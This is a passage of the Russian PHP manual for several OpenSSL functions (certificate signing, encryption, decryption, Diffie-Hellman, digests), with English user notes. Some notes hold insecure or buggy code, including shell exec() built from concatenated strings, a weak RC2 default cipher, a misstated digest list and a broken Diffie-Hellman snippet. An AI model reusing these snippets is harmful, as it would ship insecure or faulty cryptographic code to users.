    "localityName" => "Plouzane",
    "organizationName" => "Ecole Nationale d'Ingenieurs de Brest",
    "organizationalUnitName" => "Enib Students",
    "commonName" => "www.enib.fr",
    "emailAddress" => "ilovessl@php.net"
);
$csr = openssl_csr_new($dn, $clientPrivKey);

$configArgs = array("x509_extensions" => "v3_req");
$cert = openssl_csr_sign($csr, $CAcrt, $CAkey, 100, $configArgs);

openssl_x509_export_to_file($cert, "childCert.crt");

Then if you want to add some more options, you can edit the "/etc/ssl/openssl.cnf" ssl config' file (debian path), and add these after the [ v3_req ] tag.
24-Jun-2005 12:34
If you get the error:

error:0D11A086:asn1 encoding routines:ASN1_mbstring_copy:string too short

then look at your key:value pairs in the $dn (distinguished name) array.

If you have one value (like "organizationalUnitName" = "") set to an empty string, it will throw the above error.

Fix the error by either eliminating that array element from $dn completely, or using a space " " instead of an empty string.
robertliu AT wiscore DOT com 12-May-2005 08:12
I am using PHP-4.3.11.
The type of configargs--private_key_bits is a INTEGER, not a string.
An example of configration:
<?php
$config = array(
  "digest_alg" => "sha1",
  "private_key_bits" => 2048,
  "private_key_type" => OPENSSL_KEYTYPE_DSA,
  "encrypt_key" => false
);
?>
dankybastard at hotmail 09-Feb-2005 06:31
As you probably guessed from the example, the documentation is misinforming.  openssl_csr_new returns a CSR resource or FALSE on failure.

mixed openssl_csr_new (assoc_array dn, resource_privkey, [...])


Подписать CSR с помощью другого сертификата (или им же) и создать сертификат

  • « openssl_csr_new
  • openssl_decrypt »
  • PHP Manual
  • Функции OpenSSL
  • Подписать CSR с помощью другого сертификата (или им же) и создать сертификат

openssl_csr_sign

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_csr_sign — Подписать CSR с помощью другого сертификата (или им же) и создать сертификат

Описание

openssl_csr_sign(
OpenSSLCertificateSigningRequest|string $csr,
OpenSSLCertificate|string|null $ca_certificate,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
int $days,
?array $options = null,
int $serial = 0
): OpenSSLCertificate|false

openssl_csr_sign() создаёт сертификат x509 из заданного CSR.

Замечание: Для корректной работы этой функции должен существовать правильный openssl.cnf. Для более подробной информации смотрите замечания под разделом установки.

Список параметров

csr

Созданный с помощью openssl_csr_new() CSR. Также может быть путём на кодированный в PEM CSR, если задано как file://path/to/csr или экспортированной строкой, созданной с помощью openssl_csr_export().

ca_certificate

Создаваемый сертификат будет подписан ca_certificate. Если ca_certificate задан как null, то будет сгенерирован самоподписанный сертификат.

private_key

private_key - секретный ключ, соответствующий ca_certificate.

days

days - время жизни создаваемого сертификата, в днях.

options

Можно тонко настроить подпись CSR с помощью options. Подробности смотрите в описании функции openssl_csr_new(), в разделе посвящённом параметру options.

serial

Опциональный серийный номер выпускаемого сертификата. Если не указано, то по умолчанию будет использован 0.

Возвращаемые значения

Возвращает OpenSSLCertificate в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | On success, this function returns an OpenSSLCertificate instance now; previously, a resource of type OpenSSL X.509 was returned.
8.0.0 | csr теперь принимает экземпляр OpenSSLCertificateSigningRequest; ранее принимался ресурс (resource) типа OpenSSL X.509 CSR.
8.0.0 | ca_certificate теперь принимает экземпляр OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL X.509 CSR.
8.0.0 | private_key теперь принимает экземпляр OpenSSLAsymmetricKey; ранее принимался ресурс (resource) типа OpenSSL X.509 CSR.

Примеры

Пример #1 Пример openssl_csr_sign() - подпись CSR (как сделать свой собственный CA)

<?php
// Предположим, что CSR получен из поля textarea со веб-страницы
$csrdata = $_POST["CSR"];

// Мы подпишем запрос с помощью сертификата собственного "центра сертификации"
// Для подписи вы можете использовать любой сертификат, но этот процесс бесполезен, если
// сертификат не является доверенным для ПО или пользователей, которые будут его
// использовать

// Нам нужен собственный CA сертификат и его секретный ключ
$cacert = "file://path/to/ca.crt";
$privkey = array("file://path/to/ca.key", "your_ca_key_passphrase");

$usercert = openssl_csr_sign($csrdata, $cacert, $privkey, 365, array('digest_alg'=>'sha256') );

// Теперь напечатаем сертификат, чтобы пользователь мог его скопировать
// и внести в свою локальную конфигурацию (например в файл хранилища SSL сертификатов)
openssl_x509_export($usercert, $certout);
echo $certout;

// Покажем возникшие ошибки, если они были
while (($e = openssl_error_string()) !== false) {
echo $e . "\n";
}
?>

User Contributed Notes

Sriraam 21-Aug-2015 08:58
config_section_section is incorrect. The correct keyword to use is "config_section_name".
Kai Sellgren 20-Feb-2009 11:05
You can use file_get_contents() to directly pass the content instead of giving file paths.

Also, if you get an error "sec_error_reused_issuer_and_serial", put a serial into the last parameter:

<?php

$privkey = array(file_get_contents('ca.key'),"your_ca_key_passphrase");
$usercert = openssl_csr_sign($csrdata, file_get_contents('ca.crt'),$privkey,365,NULL,'06');
openssl_x509_export($usercert,$certout);
file_put_contents('serverCASigned.crt',$certout);

?>

In that above example the serial was "06".
thomas dot lussnig at bewegungsmelder dot de 11-Jul-2002 08:34
Here is an sample how to create valid X.509 Public and Private Key (cert/key).
When not using self signed the 4.2.1 segault. You need the CVS code at least for openssl.

<?
Header("Content-Type: text/plain");
$CA_CERT = "CA.cert.pem";
$CA_KEY  = "CA.key.pem";
$req_key = openssl_pkey_new();
if(openssl_pkey_export ($req_key, $out_key)) {
        $dn = array(
                "countryName"            => "DE",
                "stateOrProvinceName"    => "Frankfurt",
                "organizationName"       => "smcc.net",
                "organizationalUnitName" => "E-Mail",
                "commonName"             => "Testcert"
                );
        $req_csr  = openssl_csr_new ($dn, $req_key);
        $req_cert = openssl_csr_sign($req_csr, "file://$CA_CERT", "file://$CA_KEY", 365);
        if(openssl_x509_export ($req_cert, $out_cert)) {
                echo "$out_key\n";
                echo "$out_cert\n";
                }
        else    echo "Failed Cert\n";
        }
else            echo "FailedKey\n";
?>
eric at ypass dot net 13-Jun-2002 04:13
To generate a self-signed certificate, pass NULL as the signing certificate (2nd parameter).  For example:

$req_key = openssl_pkey_new();
$dn = array(
    "countryName" => "US",
    "stateOrProvinceName" => "Colorado",
    "organizationName" => "yPass.net",
    "organizationalUnitName" => "yPass.net",
    "commonName" => "yPass.net Root Certificate"
);
$req_csr = openssl_csr_new($dn, $req_key);
$req_cert = openssl_csr_sign($req_csr, NULL, $req_key, 365);


Расшифровывает данные

  • « openssl_csr_sign
  • openssl_dh_compute_key »
  • PHP Manual
  • Функции OpenSSL
  • Расшифровывает данные

openssl_decrypt

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_decrypt — Расшифровывает данные

Описание

openssl_decrypt(
string $data,
string $cipher_algo,
string $passphrase,
int $options = 0,
string $iv = "",
?string $tag = null,
string $aad = ""
): string|false

Берет необработанную или кодированную в base64 строку и расшифровывает её с помощью заданного метода и ключа.

Список параметров

data

Данные для расшифровки.

cipher_algo

Метод шифрования. Список доступных методов можно получить с помощью функции openssl_get_cipher_methods().

passphrase

Ключ.

options

options можно задать одной из констант: OPENSSL_RAW_DATA, OPENSSL_ZERO_PADDING.

iv

Ненулевой инициализирующий вектор.

tag

Тег аутентификации в режиме шифрования AEAD. Если он некорректен, то аутентификация завершится неудачей и функция вернёт false.

Предостережение

Длина tag не проверяется функцией. Вызывающая сторона несёт ответственность за то, чтобы длина тега соответствовала длине тега, полученного при вызове openssl_encrypt(). В противном случае дешифрование может быть успешным, если данный тег совпадает только с началом правильного тега.

aad

Дополнительные аутентифицированные данные.

Возвращаемые значения

Расшифрованная строка или false в случае возникновения ошибки.

Ошибки

Выдаёт ошибку уровня E_WARNING, если в параметр cipher_algo передан неизвестный алгоритм шифрования.

Выдаёт ошибку уровня E_WARNING, если в параметр iv передано пустое значение.

Список изменений

Версия | Описание
8.1.0 | Параметр tag теперь допускает значение null.
7.1.0 | Добавлены параметры tag и aad.

Смотрите также

  • openssl_encrypt() - Шифрует данные

User Contributed Notes

markagius dot co dot uk 16-Apr-2017 09:35
openssl_decrypt(..) works with most but not all method types.
This list can vary, depending on the data (Message) and key (Password) used.

See the following code and edit the $text and $password values.
Code checks if text is the same after encrypting then decrypting it.

Note:
  You can still use openssl_encrypt(..) with;
  User enters 'Log-in password'
  (Encrypted and stored using openssl_encrypt)
  Next time.
  User logs-in with 'Log-in password'
  (Check that encrypted 'Log-in password' = stored data)

<CODE>
  // Please edit $password=... and $text=...

  $password = "This is a journey into sound";

  $text = "";
  for($charNo=0; $charNo<=255; $charNo=$charNo+1){
    // if($charNo==127) {$charNo=$charNo+1;}
    if(!$charNo<127){
      // $text = $text."&#x".strtoupper(dechex($charNo)).";";
      $text = $text.chr($charNo);
    } else {
      $text = $text.chr($charNo);
    }
  }

$text = "This is a test message.";

  print "<TABLE BORDER=\"1\">\n";
  print "<TR><TD><B>Encryption type:</B></TD><TD><B>String after converting back:</B></TD></TR>\n";
  $ciphers = openssl_get_cipher_methods();
  for($pointer=0; $pointer<count($ciphers); $pointer=$pointer+1){
    $edit  = EncryptDecrypt($text, true,  $password, $ciphers[$pointer]);
    $check = EncryptDecrypt($edit, false, $password, $ciphers[$pointer]);
    if($text!=$check){
      $info  = $check;
      print "<TR><TD>".$ciphers[$pointer]."</TD><TD>".$info."</TD></TR>\n";
    }
  }
  print "</TABLE>\n";

function EncryptDecrypt($oldText, $encryptIt=true, $password="PASSWORD", $encryptType=""){
  $ciphers = openssl_get_cipher_methods();
  $foundEncType = false;
  for($pointer=0; $pointer<count($ciphers); $pointer=$pointer+1){
    if($ciphers[$pointer]==$encryptType){$foundEncType=true;}
  }
  if(!$foundEncType){
    $encryptType = "RC2-64-CBC"; // Default value used if not set or listed.
  }
  if($encryptIt){
    $newText = openssl_encrypt($oldText,$encryptType,$password);
  } else {
    $newText = openssl_decrypt($oldText,$encryptType,$password);
  }
  return $newText;
}
</CODE>
The following (sometimes) don't work:
    DES-EDE3-CFB1    (sometimes)
    aes-128-gcm
    aes-192-gcm
    aes-256-gcm
    des-ede3-cfb1        (sometimes)
    id-aes128-GCM
    id-aes192-GCM
    id-aes256-GCM
lucianonapoli at yahoo dot it 28-Feb-2017 10:19
The parameter string $password must be in binary form and is derived from the exadecimal key value.

Example:

encrypting in command line console with openssl
openssl AES-256-CBC -K 5ae1b8a17bad4da4fdac796f64c16ecd -iv 34857d973953e44afb49ea9d61104d8c -in doc.txt -out doc.enc.txt

decripting in php
$key = hex2bin('5ae1b8a17bad4da4fdac796f64c16ecd');
$iv = hex2bin('34857d973953e44afb49ea9d61104d8c');

$output = openssl_decrypt($encstr, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
Hernanibus 11-Jul-2016 06:04
Parameters may seem obvius to some but not for everyone so:

- $data can be as the description says raw or base64. If no $option is set (this is, if value of 0 is passed in this parameter), data will be assumed to be base64 encoded. If parameter OPENSSL_RAW_DATA is set, it will be understood as row data.

- $password (key) is a String of [pseudo] bytes as those generated by the function openssl_random_pseudo_bytes().

- $options as (as for 2016) two possible values OPENSSL_RAW_DATA and OPENSSL_ZERO_PADDING. Setting both can be done by OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING. If no OPENSSL_ZERO_PADDING is specify, default pading of PKCS#7 will be done as it's been observe by [openssl at mailismagic dot com]'s coment in openssl_encrypt()

- $iv is as in the case of $password, a String of bytes. Its length depends on the algorithm used. May be the best way to generate an $iv is by:

<?php
    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('your algorithm'));// for example you algorithm = 'AES-256-CTR'
?>
ittasks at gmail dot com 03-Apr-2013 12:02
in case that hosting do not provide openssl_encrypt decrypt functions - it could be mimiced via commad prompt executions
this functions will check is if openssl is installed and try to use it by default

function sslPrm()
{
 return array("your_password","IV (optional)","aes-128-cbc");
}
function sslEnc($msg)
{
  list ($pass, $iv, $method)=sslPrm();
  if(function_exists('openssl_encrypt'))
     return urlencode(openssl_encrypt(urlencode($msg), $method, $pass, false, $iv));
  else
     return urlencode(exec("echo \"".urlencode($msg)."\" | openssl enc -".urlencode($method)." -base64 -nosalt -K ".bin2hex($pass)." -iv ".bin2hex($iv)));
}
function sslDec($msg)
{
  list ($pass, $iv, $method)=sslPrm();
  if(function_exists('openssl_decrypt'))
     return trim(urldecode(openssl_decrypt(urldecode($msg), $method, $pass, false, $iv)));
  else
     return trim(urldecode(exec("echo \"".urldecode($msg)."\" | openssl enc -".$method." -d -base64 -nosalt -K ".bin2hex($pass)." -iv ".bin2hex($iv))));
}

//example of usage:
$r= sslEnc("This is encryption/decryption test!");
echo "<br>\n".$r.":".sslDec($r);


Вычисляет общий секретный ключ для значения удалённого открытого ключа DH и локального ключа DH

  • « openssl_decrypt
  • openssl_digest »
  • PHP Manual
  • Функции OpenSSL
  • Вычисляет общий секретный ключ для значения удалённого открытого ключа DH и локального ключа DH

openssl_dh_compute_key

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_dh_compute_key — Вычисляет общий секретный ключ для значения удалённого открытого ключа DH и локального ключа DH

Описание

openssl_dh_compute_key(string $public_key, OpenSSLAsymmetricKey $private_key): string|false

Общий секретный ключ, возвращаемый openssl_dh_compute_key() часто используется в качестве ключа шифрования для секретного взаимодействия с удалённой стороной (remote party). Это известно как алгоритм обмена ключами алгоритма Диффи-Хеллмана.

Замечание: ECDH поддерживается только начиная с PHP 8.1.0 и OpenSSL 3.0.0.

Список параметров

public_key

Открытый ключ DH удалённой стороны.

private_key

Локальный закрытый ключ DH, соответствующий открытому ключу для обмена с удалённой стороной.

Возвращаемые значения

Возвращает общий секретный ключ или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | private_key теперь принимает экземпляр OpenSSLAsymmetricKey; ранее принимался ресурс (resource) типа OpenSSL X.509 CSR.

Примеры

Пример #1 Вычисление общего секретного ключа

Сначала сгенерируйте открытую/закрытую пару ключей DH локально, и удалённая сторона сделает то же самое. Нам нужно использовать утилиту командной строки openssl.

# генерация пары ключей (закрытый/открытый)
openssl dhparam -out dhparam.pem 2048
openssl genpkey -paramfile dhparam.pem -out privatekey.pem

# извлечение только открытого ключа
openssl pkey -in privatekey.pem -pubout -out publickey.pem

Затем отправьте свой открытый ключ удалённой стороне. Используйте команду openssl pkey для просмотра открытого ключа, который будет отправлен удалённой стороне.

openssl pkey -pubin -in remotepublickey.pem -text -noout

Результатом выполнения данного примера будет что-то подобное:

PKCS#3 DH Public-Key: (2048 bit)
    public-key:
        67:e5:e5:fa:e0:7b:0f:96:2c:dc:96:44:5f:50:02:
        9e:8d:c2:6c:04:68:b0:d1:1d:75:66:fc:63:f5:e3:
        42:30:b8:96:c1:45:cc:08:60:b4:21:3b:dd:ee:66:
        88:db:77:d9:1e:11:89:d4:5c:f2:7a:f2:f1:fe:1c:
        77:9d:6f:13:b8:b2:56:00:ef:cb:3b:60:79:74:02:
        98:f5:f9:8e:3e:b5:62:08:de:ca:8c:c3:40:4a:80:
        79:d5:43:06:17:a8:19:56:af:cc:95:5e:e2:32:2d:
        d2:14:7b:76:5a:9a:f1:3c:76:76:35:cc:7b:c1:a5:
        f4:39:e5:b6:ca:71:3f:7c:3f:97:e5:ab:86:c1:cd:
        0e:e6:ee:04:c9:e6:2d:80:7e:59:c0:49:eb:b6:64:
        4f:a8:f9:bb:a3:87:b3:3d:76:01:9e:2b:16:94:a4:
        37:30:fb:35:e2:63:be:23:90:b9:ef:3f:46:46:04:
        94:8f:60:79:7a:51:55:d6:1a:1d:f5:d9:7f:4a:3e:
        aa:ac:b0:d0:82:cc:c2:e0:94:e0:54:c1:17:83:0b:
        74:08:4d:5a:79:ae:ff:7f:1c:04:ab:23:39:4a:ae:
        87:83:55:43:ab:7a:7c:04:9d:20:80:bb:af:5f:16:
        a3:e3:20:b9:21:47:8c:f8:7f:a8:60:80:9e:61:77:
        36
 [...abbreviated...]

Используйте открытый ключ в качестве параметра для openssl_dh_compute_key() для вычисления общего секретного ключа.

<?php
$remote_public_key = '67e5e5fae07b0f962cdc96445f50029e8dc26c0468b0d11d7566fc63f5e34230b896c145cc0860b4213bddee6688db77d91e1189d45cf27af2f1fe1c779d6f13b8b25600efcb3b6079740298f5f98e3eb56208deca8cc3404a8079d5430617a81956afcc955ee2322dd2147b765a9af13c767635cc7bc1a5f439e5b6ca713f7c3f97e5ab86c1cd0ee6ee04c9e62d807e59c049ebb6644fa8f9bba387b33d76019e2b1694a43730fb35e263be2390b9ef3f464604948f60797a5155d61a1df5d97f4a3eaaacb0d082ccc2e094e054c117830b74084d5a79aeff7f1c04ab23394aae87835543ab7a7c049d2080bbaf5f16a3e320b921478cf87fa860809e617736';

$local_priv_key = openssl_pkey_get_private('file://privatekey.pem');

$shared_secret = openssl_dh_compute_key(hex2bin($remote_public_key), $local_priv_key);
echo bin2hex($shared_secret)."\n";
?>

Пример #2 Создание пары ключей DH (открытый/закрытый)

Сначала сгенерируйте простой число DH

openssl dhparam -out dhparam.pem 2048
openssl dh -in dhparam.pem -noout  -text

Результатом выполнения данного примера будет что-то подобное:

    PKCS#3 DH Parameters: (2048 bit)
        prime:
            00:a3:25:1e:73:3f:44:b9:2b:ee:f4:9d:9f:37:6a:
            4b:fd:1d:bd:f4:af:da:c8:10:77:59:41:c6:5f:73:
            d2:88:29:39:cd:1c:5f:c3:9f:0f:22:d2:9c:20:c1:
            e4:c0:18:03:b8:b6:d8:da:ad:3b:39:a6:da:8e:fe:
            12:30:e9:03:5d:22:ba:ef:18:d2:7b:69:f9:5b:cb:
            78:c6:0c:8c:6b:f2:49:92:c2:49:e0:45:77:72:b3:
            55:36:30:f2:40:17:89:18:50:03:fa:2d:54:7a:7f:
            34:4c:73:32:b6:88:14:51:14:be:80:57:95:e6:a3:
            f6:51:ff:17:47:4f:15:d6:0e:6c:47:53:72:2c:2a:
            4c:21:cb:7d:f3:49:97:c9:47:5e:40:33:7b:99:52:
            7e:7a:f3:52:27:80:de:1b:26:6b:40:bb:14:11:0b:
            fb:e6:d8:2f:cf:a0:06:2f:96:b9:1c:0b:b4:cb:d3:
            a6:62:9c:48:67:f6:81:f2:c6:ff:45:03:0a:9d:67:
            9d:ce:27:d9:6b:48:5d:ca:fb:c2:5d:84:9b:8b:cb:
            40:c7:a4:0c:8a:6e:f4:ab:ba:b6:10:c3:b8:25:4d:
            cf:60:96:f4:db:e8:00:1c:58:47:7a:fb:51:86:d1:
            22:d7:4e:94:31:7a:d5:da:3d:53:de:da:bb:64:8d:
            62:6b
        generator: 2 (0x2)

Значения prime и generator передаются в виде параметров p и g в openssl_pkey_new()

<?php
$configargs = array();
$configargs['p'] = hex2bin('00a3251e733f44b92beef49d9f376a4bfd1dbdf4afdac810775941c65f73d2882939cd1c5fc39f0f22d29c20c1e4c01803b8b6d8daad3b39a6da8efe1230e9035d22baef18d27b69f95bcb78c60c8c6bf24992c249e0457772b3553630f2401789185003fa2d547a7f344c7332b688145114be805795e6a3f651ff17474f15d60e6c4753722c2a4c21cb7df34997c9475e40337b99527e7af3522780de1b266b40bb14110bfbe6d82fcfa0062f96b91c0bb4cbd3a6629c4867f681f2c6ff45030a9d679dce27d96b485dcafbc25d849b8bcb40c7a40c8a6ef4abbab610c3b8254dcf6096f4dbe8001c58477afb5186d122d74e94317ad5da3d53dedabb648d626b');
$configargs['g'] = hex2bin('02');
$private_key = openssl_pkey_new(array('dh' => $configargs));
openssl_pkey_export_to_file($private_key,'privatekey.pem',$passphrase='y0urp@s5phr@se');

$details = openssl_pkey_get_details($private_key);
$local_pub_key = $details['dh']['pub_key'];
echo bin2hex($local_pub_key)."\n";// вы можете отправить свой открытый ключ удалённой стороне

$details = openssl_pkey_get_details(openssl_pkey_get_public("file://remotepublickey.pem"));
$remote_public_key = $details['dh']['pub_key'];
$shared_secret = openssl_dh_compute_key($remote_public_key, $private_key);
echo bin2hex($shared_secret)."\n";
?>

Смотрите также

  • openssl_pkey_new() - Генерирует новый закрытый ключ
  • openssl_pkey_get_details() - Получает массив с детальной информацией о ключе
  • openssl_pkey_get_private() - Получить закрытый ключ
  • openssl_pkey_get_public() - Извлекает открытый ключ из сертификата и подготавливает его к использованию

User Contributed Notes

k.s.swaminathan at live dot com 30-Nov-2021 12:53
// Purpose: Provide a working example of Diffie-Hellman, entirely in php.

// This function generates a configuration for Diffie-Hellman keypair
// We start with an empty config and have openssl_pkey_new create
// a prime and a generator. This is a time consuming step.

function get_DH_params ($keylength=2048, $digest_alg="sha512")
{
    $pkey = openssl_pkey_new(["digest_alg" => $digest_alg,
                        "private_key_bits" => $keylength,
                        "private_key_type" => OPENSSL_KEYTYPE_DH]);
    $details = openssl_pkey_get_details($pkey);
    return [
            "digest_alg" => $digest_alg,
            "private_key_bits" => $keylength,
            "dh" => array('p' => $details['dh']['p'], 'g' => $details['dh']['g']),
            "private_key_type" => OPENSSL_KEYTYPE_DH,
        ];
}

// Now Alice and Bob can create their respective keypairs
function get_DH_keyPair ($DH_params)
{
    $pkey = openssl_pkey_new($DH_params);
    $privkey = openssl_pkey_get_private($pkey);
    $pubkey = openssl_pkey_get_details($pkey)['dh']['pub_key'];
    return (object) compact('pubkey','privkey');
}

// Now Alice and Bob can create a mutual secret
function get_DH_mutualsecret($peers_public, $my_private)
{
    return bin2hex(openssl_dh_compute_key($peers_public, $my_private));
}

// Usage
>>> $dh_params = get_DH_params();
=> [
     "digest_alg" => "sha512",
     "private_key_bits" => 2048,
     "dh" => [
       "p" => b"o»?'#?\x18\x04U_A\toyAZax\x15\x14\x11?Tl=U+H\0",
       "g" => "\x02",
     ],
     "private_key_type" => 2,
   ]

// Alice & Bob generate their keys from the same dh_params.
// Binary values truncated.

>>> $alice = get_DH_keypair($dh_params);
=> {#3773
     +"pubkey": b"""EOuOS?OiELua5ULU$--±u6]",
     +"privkey": OpenSSLAsymmetricKey {#3771},
   }

>>> $bob = get_DH_keypair($dh_params);
=> {#3774
     +"pubkey": b"'ua??o\e\x11¦OM©\vo¦?UWoi??e?:\t9O\rB-\x13",
     +"privkey": OpenSSLAsymmetricKey {#3765},
   }

>>> $alice_secret = get_DH_mutualsecret($bob->pubkey, $alice->privkey);
=> "5fbf9df2f13da103f106.  ....."

>>> $bob_secret = get_DH_mutualsecret($alice->pubkey, $bob->privkey);
=> "5fbf9df2f13da103f106.  ....."

>>> $bob_secret == $alice_secret;
=> true

// Now Alice and Bob have a shared secret which they can use as a symmetric key. The key will be 2048 bits long (same as the DH key length parameter). They can hash it to get a shorter key if they want.

// A third person, Charlie, can also create a key pair like Alice and Bob.
// And Charlie and Alice can create their own Alice and Bob did.
// And Charlie and Bob can create their own (separate) secret.
//
vangelier at hotmail dot com 23-Jan-2021 07:35
After some challenges I decided to write a C++ and PHP code samples.

As it can be very tricky to get a grib on how the Diffie and Hellman algoritm work. The code samples are cross compatible.

Gist with PHP code and C++ code:

https://gist.github.com/digitalhuman/2a2b85d61672e4bf83596d41351723ba

Enjoy!
vangelier at hotmail dot com 22-Dec-2020 08:08
A working example. After some study and reading I finally get how this method is working.

You need to follow the below 4 steps;

1. You create a public key which is known to 1:n parties.
2. Each party creates their own keypair.
2a. Each party shared their public key with the members.
3. Each user can re-create the shared secret by using his Private Key and the Public Key of the other parties.
4. Compare the secrets as a handshake

/* 1. Create the first, global known public key. */

/**
     * Get DH public/private keys
     * @return array
     */
    public static function get_keypair()
    {
        $keys = [];

        $config = [
            "digest_alg" => "sha512",
            "private_key_bits" => 2048,
            "private_key_type" => OPENSSL_KEYTYPE_DH,
        ];

        // Create the private and public key
        $res = openssl_pkey_new($config);

        $pubKey = openssl_pkey_get_details($res);
        $keys["public"] = $pubKey["key"];

        openssl_pkey_export($res, $privKey);

        $keys["private"] = $privKey;

        return $keys;
    }

Now you share the Public Key with every member of the party.

/* 2. Each user creates a new Key Pair with the P,G from the global public key info */

$key = openssl_get_publickey(base64_decode($publicKey));
$info = openssl_pkey_get_details($key);
$params = $info["dh"];

Now you have the P,G from the public key. Use it;

/**
     * Create keypair from Prime and Generator for KeyExchange
     * @param $prime
     * @param $generator
     */
    public static function create_keypair_from_pg($prime, $generator)
    {
        $config = [
            "digest_alg" => "sha512",
            "private_key_bits" => 2048,
            "dh" => [
                "p" => $prime,
                "g" => $generator
            ],
            "private_key_type" => OPENSSL_KEYTYPE_DH,
        ];

        return openssl_pkey_new($config);
    }

/* 3. Create a shared secret with your Private Key, and User 1:n's Public Key */

$privateKey = openssl_get_publickey(base64_decode($privateKeyData));

$secret1 = openssl_dh_compute_key($user1PublicKey, $privateKey);
        if($secret !== false) {
            return bin2hex($secret);
        }else{
            print_r(openssl_error_string());
        }

$secret2 = openssl_dh_compute_key($user2PublicKey, $privateKey);
        if($secret !== false) {
            return bin2hex($secret);
        }else{
            print_r(openssl_error_string());
        }

/* 4. Compare the secrets as a handshake method */

if(strcmp($secret1, $secret2) === 0) {
            return true;
        }

        return false;

Good luck, enjoy!. Keep me posted about improvements and updates.  vangelier AT hotmail DOT com
vangelier at hotmail dot com 21-Dec-2020 06:02
Is it possible for someone to post a working example?  I have written many test and examples, and I just can't seem to get 2 secrets that are alike with this method.

I am following this; https://sandilands.info/sgordon/diffie-hellman-secret-key-exchange-with-openssl

With the console, it works great. With openssl_dh_compute_key it does not work.


Вычисление дайджеста

  • « openssl_dh_compute_key
  • openssl_encrypt »
  • PHP Manual
  • Функции OpenSSL
  • Вычисление дайджеста

openssl_digest

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_digest — Вычисление дайджеста

Описание

openssl_digest(string $data, string $digest_algo, bool $binary = false): string|false

Вычисляет значение дайджеста для переданных данных с помощью указанного метода. Возвращает необработанную строку или строку шестнадцатеричных чисел.

Список параметров

data

Данные.

digest_algo

Метод вычисления дайджеста, например "sha256". Список доступных методов можно получить с помощью openssl_get_md_methods().

binary

Если true, то будет возвращена необработанная строка. Иначе будет возвращена строка шестнадцатеричных чисел.

Возвращаемые значения

Возвращает вычисленный дайджест или false в случае возникновения ошибки.

Ошибки

Выдаёт ошибку уровня E_WARNING, если в параметр digest_algo передан неизвестный метод.

Смотрите также

  • openssl_get_md_methods() - Получить список доступных методов хеширования

User Contributed Notes

Anonymous 17-Jun-2014 06:07
Hmm.. really @mwgamera? openssl_get_cipher_methods() returns cipher methods but openssl_digest() expects a digest method in the second parameter. However even the docu on this page links to the openssl_get_cipher_methods() method in the "See also" section (however this can be a coincidence). Shouldn't it be a digest method from openssl_get_md_methods() instead openssl_get_cipher_methods()?

I'm not very experienced in cryptography but I don't really understand why you would pass a cipher method to a hash function instead of a digest method.
mwgamera at gmail dot com 12-Aug-2013 11:42
The second argument should be one of the values returned by openssl_get_md_methods() rather than hash_algos(). 'Hash' and 'OpenSSL' are independent extensions and support different selection of digest algorithms. Notably, Hash supports some non-cryptographic hashes like adler or crc.
skyblackhawk at yahoo dot it 10-Jun-2011 08:34
Example:
// $fileBuffer is buffer of file in open mode or a generic stream...
$fingerPrint = openssl_digest ($fileBuffer , "sha512");

$method parameter is one of hash_algos() array;

<? echo"<PRE>";
      var_dump(hash_algos());
      echo "</PRE>"
?>

Output:

array(42) {
  [0]=>
  string(3) "md2"
  [1]=>
  string(3) "md4"
  [2]=>
  string(3) "md5"
  [3]=>
  string(4) "sha1"
  [4]=>
  string(6) "sha224"
  [5]=>
  string(6) "sha256"
  [6]=>
  string(6) "sha384"
  [7]=>
  string(6) "sha512"
  [8]=>
  string(9) "ripemd128"
  [9]=>
  string(9) "ripemd160"
  [10]=>
  string(9) "ripemd256"
  [11]=>
  string(9) "ripemd320"
  [12]=>
  string(9) "whirlpool"
  [13]=>
  string(10) "tiger128,3"
  [14]=>
  string(10) "tiger160,3"
  [15]=>
  string(10) "tiger192,3"
  [16]=>
  string(10) "tiger128,4"
  [17]=>
  string(10) "tiger160,4"
  [18]=>
  string(10) "tiger192,4"
  [19]=>
  string(6) "snefru"
  [20]=>
  string(9) "snefru256"
  [21]=>
  string(4) "gost"
  [22]=>
  string(7) "adler32"
  [23]=>
  string(5) "crc32"
  [24]=>
  string(6) "crc32b"
  [25]=>
  string(7) "salsa10"
  [26]=>
  string(7) "salsa20"
  [27]=>
  string(10) "haval128,3"
  [28]=>
  string(10) "haval160,3"
  [29]=>
  string(10) "haval192,3"
  [30]=>
  string(10) "haval224,3"
  [31]=>
  string(10) "haval256,3"
  [32]=>
  string(10) "haval128,4"
  [33]=>
  string(10) "haval160,4"
  [34]=>
  string(10) "haval192,4"
  [35]=>
  string(10) "haval224,4"
  [36]=>
  string(10) "haval256,4"
  [37]=>
  string(10) "haval128,5"
  [38]=>
  string(10) "haval160,5"
  [39]=>
  string(10) "haval192,5"
  [40]=>
  string(10) "haval224,5"
  [41]=>
  string(10) "haval256,5"
}


Шифрует данные

  • « openssl_digest
  • openssl_error_string »
  • PHP Manual
  • Функции OpenSSL
  • Шифрует данные

openssl_encrypt

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_encrypt — Шифрует данные

Описание

openssl_encrypt(
string $data,
string $cipher_algo,
string $passphrase,
int $options = 0,
string $iv = "",
string &$tag = null,
string $aad = "",
int $tag_length = 16
): string|false

Шифрует данные с заданным шифром и ключом и возвращает необработанную строку, либо строку, закодированную в base64

Список параметров

data

Данные для шифрования.

cipher_algo

Метод шифрования. Список доступных методов можно получить с помощью функции openssl_get_cipher_methods().

passphrase

Кодовая фраза. Если кодовая фраза укорочена, чем ожидалось, она автоматически дополняется символами NUL; если кодовая фраза длиннее, чем ожидалось, она автоматически усекается.

options

options можно задать одной из констант: OPENSSL_RAW_DATA, OPENSSL_ZERO_PADDING.

iv

Ненулевой инициализирующий вектор.

tag

Тег аутентификации, передаваемый по ссылке, в режиме шифрования AEAD (GCM или CCM).

aad

Дополнительные аутентифицированные данные.

tag_length

Длина параметра tag. Для режима GCM должно быть от 4 до 16.

Возвращаемые значения

Возвращает зашифрованную строку или false в случае возникновения ошибки.

